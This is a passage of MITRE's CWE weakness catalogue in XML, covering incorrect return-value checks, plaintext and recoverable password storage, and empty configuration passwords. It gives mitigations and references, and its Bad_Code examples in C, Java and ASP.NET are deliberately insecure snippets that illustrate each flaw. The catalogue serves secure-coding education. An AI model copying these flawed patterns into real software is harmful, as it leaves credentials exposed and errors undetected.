					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="253" Name="Incorrect Check of Function Return Value" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software incorrectly checks a return value from a function,
					which prevents the software from detecting errors or exceptional
					conditions.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>754</Relationship_Target_ID>
					          <!--Improper Check for Unusual or Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Important and common functions will return some value about the success of
						its actions. This will alert the program whether or not to handle any errors
						caused by that function.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An unexpected return value could place the system in a state that
							could lead to a crash or other unintended behaviors.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language or compiler that uses exceptions and requires the
							catching of those exceptions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Properly check all functions which return a value.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When designing any function make sure you return a value or throw an
							exception in case of an error.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code attempts to allocate memory for 4 integers and checks if
						the allocation succeeds.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>tmp = malloc(sizeof(int) * 4);</Code>
							              <Code>if (tmp &lt; 0 ) {</Code>
							              <Block>
								                <Code>perror("Failure");</Code>
								                <Comment>//should have checked if the call returned 0</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The code assumes that only a negative return value would indicate an
							error, but malloc() may return a null pointer when there is an error.
							The value of tmp could then be equal to 0, and the error would be
							missed.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Return Value Testing and Interpretation", Page
						340.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Misinterpreted function return value</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Misinterpreted Function
						Return Value</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="256" Name="Plaintext Storage of a Password" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Storing a password in plaintext may result in a system
					compromise.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>522</Relationship_Target_ID>
					          <!--Insufficiently Protected Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Password management issues occur when a password is stored in plaintext in
						an application's properties or configuration file. A programmer can attempt
						to remedy the password management problem by obscuring the password with an
						encoding function, such as base 64 encoding, but this effort does not
						adequately protect the password. Storing a plaintext password in a
						configuration file allows anyone who can read the file access to the
						password-protected resource. Developers sometimes believe that they cannot
						defend the application from someone who has access to the configuration, but
						this attitude makes an attacker's job easier. Good password management
						guidelines require that a password never be stored in plaintext.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid storing passwords in easily accessible locations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider storing cryptographic hashes of passwords as an alternative
							to storing in plaintext.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-57">
					          <Intro_Text>The following code reads a password from a properties file and uses
						the password to connect to a database.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>Properties prop = new Properties();</Code>
							              <Code>prop.load(new FileInputStream("config.properties"));</Code>
							              <Code>String password = prop.getProperty("password");</Code>
							              <Code>DriverManager.getConnection(url, usr, password);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code will run successfully, but anyone who has access to
							config.properties can read the value of password. If a devious employee
							has access to this information, they can use it to break into the
							system.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-58">
					          <Intro_Text>The following code reads a password from the registry and uses the
						password to create a new network credential.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>String password = regKey.GetValue(passKey).toString();</Code>
							              <Code>NetworkCredential netCred = new
								NetworkCredential(username,password,domain);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code will run successfully, but anyone who has access to the
							registry key used to store the password can read the value of password.
							If a devious employee has access to this information, they can use it to
							break into the system</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-43">
					          <Intro_Text>The following examples show a portion of properties and
						configuration files for Java and ASP.NET applications. The files include
						username and password information but they are stored in
						plaintext.</Intro_Text>
					          <Example_Body>
						            <Text>This Java example shows a properties file with a plaintext username /
							password pair.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment># Java Web App ResourceBundle properties file</Comment>
							              <Code>...</Code>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following example shows a portion of a configuration file for an
							ASP.Net application. This configuration file includes username and
							password information for a connection to a database but the pair is
							stored in plaintext.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=password; dbalias=uDB;"
								providerName="System.Data.Odbc" /&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Username and password information should not be included in a
							configuration file or a properties file in plaintext as this will allow
							anyone who can read the file access to the resource. If possible,
							encrypt this information and avoid CWE-260 and CWE-13.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-9">
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Author>Gary McGraw</Reference_Author>
					          <Reference_Title>Building Secure Software: How to Avoid Security Problems the
						Right Way</Reference_Title>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Password Management</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Plaintext
						Storage</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="257" Name="Storing Passwords in a Recoverable Format" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The storage of passwords in a recoverable format makes them
					subject to password reuse attacks by malicious users. If a system administrator
					can recover a password directly, or use a brute force search on the available
					information, the administrator can use the password on other
					accounts.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>522</Relationship_Target_ID>
					          <!--Insufficiently Protected Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>259</Relationship_Target_ID>
					          <!--Use of Hard-coded Password-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The meaning of this node needs to be investigated more closely, especially
						with respect to what is meant by "recoverable."</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Other_Notes>
				        <Note>
					          <Text>The use of recoverable passwords significantly increases the chance that
						passwords will be used maliciously. In fact, it should be noted that
						recoverable encrypted passwords provide no significant benefit over
						plain-text passwords since they are subject not only to reuse by malicious
						attackers but also by malicious insiders.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>User's passwords may be revealed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Revealed passwords may be reused elsewhere to impersonate the users in
							question.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use strong, non-reversible encryption to protect stored
							passwords.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-59">
					          <Intro_Text>Both of these examples verify a password by comparing it to a stored
						compressed version.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int VerifyAdmin(char *password) {</Code>
							              <Block>
								                <Code>if (strcmp(compress(password), compressed_password)) {</Code>
								                <Block>
									                  <Code>printf("Incorrect Password!\n");</Code>
									                  <Code>return(0);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>printf("Entering Diagnostic Mode...\n");</Code>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>int VerifyAdmin(String password) {</Code>
							              <Block>
								                <Code>if (passwd.Equals(compress(password), compressed_password))
									{</Code>
								                <Block>
									                  <Code>return(0);</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>//Diagnostic Mode</Comment>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because a compression algorithm is used instead of a one way hashing
							algorithm, an attacker can recover compressed passwords stored in the
							database. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-43">
					          <Intro_Text>The following examples show a portion of properties and
						configuration files for Java and ASP.NET applications. The files include
						username and password information but they are stored in
						plaintext.</Intro_Text>
					          <Example_Body>
						            <Text>This Java example shows a properties file with a plaintext username /
							password pair.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment># Java Web App ResourceBundle properties file</Comment>
							              <Code>...</Code>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following example shows a portion of a configuration file for an
							ASP.Net application. This configuration file includes username and
							password information for a connection to a database but the pair is
							stored in plaintext.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=password; dbalias=uDB;"
								providerName="System.Data.Odbc" /&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Username and password information should not be included in a
							configuration file or a properties file in plaintext as this will allow
							anyone who can read the file access to the resource. If possible,
							encrypt this information and avoid CWE-260 and CWE-13.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Storing passwords in a recoverable format</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>49</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Maintenance_Notes, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="258" Name="Empty Password in Configuration File" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Using an empty string as a password is
					insecure.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>260</Relationship_Target_ID>
					          <!--Password in Configuration File-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>521</Relationship_Target_ID>
					          <!--Weak Password Requirements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
